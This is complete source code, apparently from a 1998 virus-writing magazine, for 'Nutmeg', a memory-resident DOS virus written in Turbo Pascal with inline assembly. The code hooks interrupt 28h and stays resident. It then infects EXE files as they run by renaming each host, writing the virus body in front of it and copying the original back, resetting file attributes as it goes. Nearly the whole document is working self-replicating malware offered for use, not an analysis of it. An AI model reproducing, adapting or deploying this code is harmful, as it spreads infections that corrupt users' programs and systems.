{ ÜÜ Û ßßß Virus Magazine Û Box 176, Kiev 210, Ukraine IV 1998 ßÛÛ ßßßßßßßßßßßßßßßß Û ßßßßßßßßßßßßßßßßßßß ß ßßßßÞßßß ÛßßßßßßßÛ ÞÛ ÛßÜ Ûßß Üßß Üßß ÜÛÜ Üßß ÛßÛ Ý Û ÜßÛ Û Üßß ÛÜÜ Û Û ßßÛ Û Û Û Û Ûß Ûß Û Û Ûß Û Û Û Û Û Û Û Û Û Û Û ÜÜÛ Û Û Þ Þ Þ ÞÜÜ ÞÜÜ Þ ÞÜÜ ÞÜß ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜÜ Û Û ÛÜÜ Û Þ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÛÜÜÜÜÜÜÜÛ (C) Copyright, 1994-98, by STEALTH group WorldWide, unLtd. Written by Vecna (c) 1997 Nutmeg Virus Resident Compressed EXE Infector } {$F+} {$S-} {$M 4096,0,0} Program NutMeg; Uses Dos; Const Virsize=3327; Type Buffer=Array[0..Virsize - 1] Of Char; Var Handle:Word; Envseg:Word; Envoff:Word; Pspseg:Word; Totalsize:Word; Hostsize:Word; Filename:String[128]; Myname:String[128]; Oldname:String[128]; Myparams:String[128]; Virusname:String[128]; Virbuffer:Buffer; Old28:Procedure; Procedure Getsegments; Assembler; Asm Mov Ah,51H Int 21H Mov Es,Bx Mov Es,Es:[2Ch] Mov Envseg,Es Mov Pspseg,Bx End; Procedure Fseek(Pointer:Word); Assembler; Asm Mov Ax, 4200H Mov Bx, Handle Xor Cx, Cx Mov Dx, Pointer Int 21H End; Procedure Readfile(Var Filebuf : Buffer; Readnum : Word); Assembler; Asm Push Ds Mov Ah,3Fh Mov Bx,Handle Mov Cx,Readnum Lds Dx,Filebuf Int 21H Pop Ds End; Procedure Writefile(Filebuf : Buffer; Writenum : Word); Assembler; Asm Push Ds Mov Ah,40H Mov Bx,Handle Mov Cx,Writenum Lds Dx,Filebuf Int 21H Pop Ds End; Procedure Openfile(Filename : String; Access : Byte); Assembler; Asm Push Ds Mov Ah,3Dh Mov Al,Access Lds Dx,Filename Inc Dx Int 21H Pop Ds Mov Handle, Ax End; Procedure Erasefile(Filename : String); Assembler; Asm Push Ds Mov Ah,41H Lds Dx,Filename Inc Dx Int 21H Pop Ds End; Procedure Closefile; Assembler; Asm Mov Ah, 3Eh Mov Bx, Handle Int 21H End; Procedure Createnewfile(Filename:String; Attributes:Word); Assembler; Asm Push Ds Mov Ah, 3Ch Mov Cx, Attributes Lds Dx, Filename Inc Dx Int 21H Pop Ds Mov Handle, Ax End; Procedure Renamefile(Source:String;Destination:String); Assembler; Asm Push Ds Mov Ah, 56H Lds Dx, Source Les Di, Destination Inc Dx Inc Di Int 21H Pop Ds End; Procedure Copyto(Destination:String;Source:String;Startat:Word);Assembler; Var Handle1,Handle2:Word; Asm Push Ds Mov Ax,3D00H Lds Dx,Source Inc Dx Int 21H Mov Handle1, Ax Mov Ax,3D02H Lds Dx,Destination Inc Dx Int 21H Mov Handle2, Ax Mov Ax, 4200H Mov Bx, Handle1 Xor Cx, Cx Mov Dx, Startat Int 21H Mov Ax, 4202H Mov Bx, Handle2 Xor Cx, Cx Xor Dx, Dx Int 21H Mov Dx, Offset (@Buffer) Push Cs Pop Ds @1: Mov Ah, 3Fh Mov Bx, Handle1 Mov Cx, 16*64*4 Int 21H Mov Cx, Ax Mov Ah, 40H Mov Bx, Handle2 Int 21H Cmp Ax, 16*64*4 Je @1 Mov Ah, 3Eh Mov Bx, Handle1 Int 21H Mov Ah, 3Eh Mov Bx, Handle2 Int 21H Jmp @Exit @Buffer: Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 Db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 @Exit: Pop Ds End; Function Randomname: String; Function Poeletra(Qtas:Char): String; Var Ch:Char; Temp:String[128]; Begin Temp:=''; Repeat Ch:=Chr(65+Random(25)); Temp:=Temp+Ch; Until Temp[0]=Qtas; Poeletra:=Temp; End; Begin Randomname:=Poeletra(#8)+'.'+Poeletra(#3)+#0; End; Procedure Pspowner; Begin Envoff:=0; Filename:=''; Getsegments; Repeat Envoff:=Envoff+1; Until Memw[Envseg:Envoff]=$00; Envoff:=Envoff+4; Repeat Filename:=Filename+Chr(Mem[Envseg:Envoff]); Envoff:=Envoff+1; Until Mem[Envseg:Envoff-1]=$00; End; Procedure Virusint28; Interrupt; Procedure Infectexe; Var Newname:String[128]; Whereslash:Word; Attr:Word; Begin Asm Push Ds Mov Ax, Seg Filename Mov Ds, Ax Mov Si, Offset Filename Mov Ax, 4300H Int 21H Mov Attr, Cx Mov Ax, 4301H Xor Cx, Cx Int 21H Pop Ds End; Asm Push Ds Mov Ax, Seg Filename Mov Ds, Ax Mov Si, Offset Filename Xor Cx, Cx @@1: Inc Si Inc Cx Cmp Byte Ptr Ds:[Si], 0 Je @@2 Cmp Byte Ptr Ds:[Si], '\' Jne @@1 Mov Whereslash, Cx Jmp @@1 @@2: Pop Ds End; Newname:=Copy(Filename,1,Whereslash)+Randomname; Renamefile(Filename,Newname); Createnewfile(Filename,0); Writefile(Virbuffer,Virsize); Closefile; Copyto(Filename,Newname,0); Erasefile(Newname); Asm Push Ds Mov Ax, Seg Filename Mov Ds, Ax Mov Si, Offset Filename Mov Ax, 4301H Mov Cx, Attr Int 21H Pop Ds End; End; Begin Pspowner; If Not(Oldname=Filename) Then Begin If Filename[Length(Filename)-1]='E' Then Infectexe; Oldname:=Filename; End; Inline($9C); Old28; End; Procedure Initall; Var Count:Byte; Begin Randomize; Pspowner; Myname:=Filename; Openfile(Myname,0); Readfile(Virbuffer,Virsize); Closefile; For Count:=1 To Paramcount Do Myparams:=Myparams+Paramstr(Count)+' '; End; Procedure Spawnhost; Var Newname:String[128]; Inf, Outf:File; Begin Newname:=Randomname; Renamefile(Myname,Newname); Createnewfile(Myname,2); Closefile; Copyto(Myname,Newname,Virsize); Swapvectors; Exec(Myname, Myparams); Swapvectors; Erasefile(Myname); Renamefile(Newname,Myname); End; Function Resident:Boolean; Var Ivt:Longint; Begin Ivt:=Meml[$0:$350]; If Ivt=$20Ff20Ff Then Resident:=True Else Resident:=False; End; Procedure Infectmbr; Begin End; Begin Virusname:='Nutmeg Virus By Vecna/Sgww 1997'; Infectmbr; Initall; Spawnhost; If Not(Resident) Then Begin Meml[$0:$350]:=$20Ff20Ff; Getintvec($28,@Old28); Setintvec($28,@Virusint28); Keep(0); End; End.